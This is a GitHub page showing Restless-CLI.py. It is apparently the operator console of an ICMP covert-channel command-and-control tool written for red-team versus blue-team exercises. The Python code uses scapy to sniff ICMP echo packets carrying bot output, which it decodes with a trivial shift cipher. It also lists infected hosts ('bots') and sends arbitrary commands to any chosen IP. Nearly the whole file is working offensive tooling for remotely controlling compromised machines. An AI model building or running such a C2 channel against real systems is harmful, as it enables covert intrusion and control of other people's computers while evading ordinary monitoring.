-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathRestless-CLI.py
More file actions
99 lines (82 loc) · 2.34 KB
/
Restless-CLI.py
File metadata and controls
99 lines (82 loc) · 2.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
"""
Restless CLI :)
Author's website: Mohad.red
"""
from Packets import *
from Config import *
from scapy.all import *
from cmd import Cmd
from threading import Thread
"""
Reads coming data from the blue servers
"""
def pkt_callback(pkt):
packet = pkt
# Since the client sends back the "output" in a type 8 ICMP packet.
if str(packet.getlayer(ICMP).type) == "8":
try:
print("Coming beacon from : "+packet[IP].src)
data = packet[Raw].load
# Don't forget the "encryption" lol
data = shift(data, -1, sender = False)
print(data)
except:
if debug:
print("Failed to read pkt_callback()")
"""
Live sniff.
"""
def listen():
pkts = sniff(iface=BLUE_TEAM_INTERFACE,filter="icmp", prn=pkt_callback, store=0)
class MyPrompt(Cmd):
prompt = 'Restless> '
intro = "Welcome! Type ? to list commands"
def do_exit(self, inp):
print("Bye")
#print("adding '{}'".format(inp))
return True
def help_exit(self):
print('exit the application. Shorthand: x q Ctrl-D.')
def do_List(self, line):
print("Bots:")
for ip in listOfIPs:
print(ip)
def help_List(self):
print("List all bots.\n"
"Usage: List\n")
def do_Interact(self, line):
line = line.split(' ')
if len(line) < 2:
if len(line) < 1:
self.do_List("")
return self.help_Interact()
IP = line[0]
COMMAND = line[1:]
COMMAND = ' '.join(COMMAND)
print(COMMAND)
try:
SendIt(IP, COMMAND)
except:
print("Something bad happened! Try again")
pass
def help_Interact(self):
print("Interact with a bot.\n"
"Usage: Interact <IP> <COMMAND>\n")
def default(self, inp):
if inp == 'x' or inp == 'q':
return self.do_exit(inp)
#print("Default: {}".format(inp))
print("Try again")
# do_EOF = do_exit
# help_EOF = help_exit
if __name__ == '__main__':
# Load all blue team ip addresses
loadIPs()
# In this case 'urls' is a list of urls to be crawled.
t = Thread(target=listen, args=[])
# To allow Control + C
t.daemon = True
# Start listening for responses
t.start()
# Start
MyPrompt().cmdloop()